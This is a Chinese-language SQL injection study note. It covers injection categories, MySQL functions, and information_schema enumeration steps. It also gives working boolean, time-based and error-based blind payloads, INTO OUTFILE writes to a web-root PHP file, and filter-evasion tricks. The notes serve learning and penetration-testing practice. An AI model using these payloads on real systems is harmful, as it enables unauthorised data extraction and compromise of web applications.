SQL注入学习笔记
n3ym4r

基础知识

注入的分类

基于从服务器接收到的响应

▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注

基于如何处理输入的 SQL 查询(数据类型)

▲基于字符串
▲数字或整数为基础的

基于注入点的位置上的

▲通过用户输入的表单域的注射。
▲通过服务器变量注射。 (基于头部信息的注射)

系统函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

字符串连接函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

一般流程

猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
select *** from ****

PS:一般都会用到group_concat来显示所有数据。

盲注

基于布尔 SQL 盲注———-构造逻辑判断
▲left(database(),1)>’s’ //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前b 位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数

Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值

▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值

▲regexp 正则注入 select user() regexp ‘^[a-z]’;

Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp ‘^ro’来进行。

▲like 匹配注入

select user() like ‘ro%’

基于报错的 SQL 盲注——构造 payload 让信息通过错误提示回显出来
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) //mysql 对xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了 version,所以报错。
基于时间的 SQL 盲注———-延时注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep

导入导出相关操作

导入到文件

SELECT…..INTO OUTFILE ‘file_name’

Select …… into outfile “c:\phpnow\htdocs\test.php”

增删改函数

插入

insert into users values(‘16’,’lcamry’,’lcamry’);

删除

删数据: delete from

表名; delete from 表名 where id=1;

删除结构:

删数据库:drop database 数据库名;

删除表:drop table 表名;

删除表中的列:alter table 表名 drop column 列名;

ps:delete from users where id=16

修改/更新

修改所有:updata 表名 set 列名=’新的值,非数字加单引号’ ;

带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’ where id=6;

ps: update users set username=’tt’ where id=15

HTTP 头部

如何绕过 or 和 and 过滤。一般性提供以下几种思路:

(1)大小写变形 Or,OR,oR

(2)编码,hex,urlencode

(3)添加注释/or/

(4)利用符号 and=&& or=||

对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;

对于空格,有较多的方法:

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格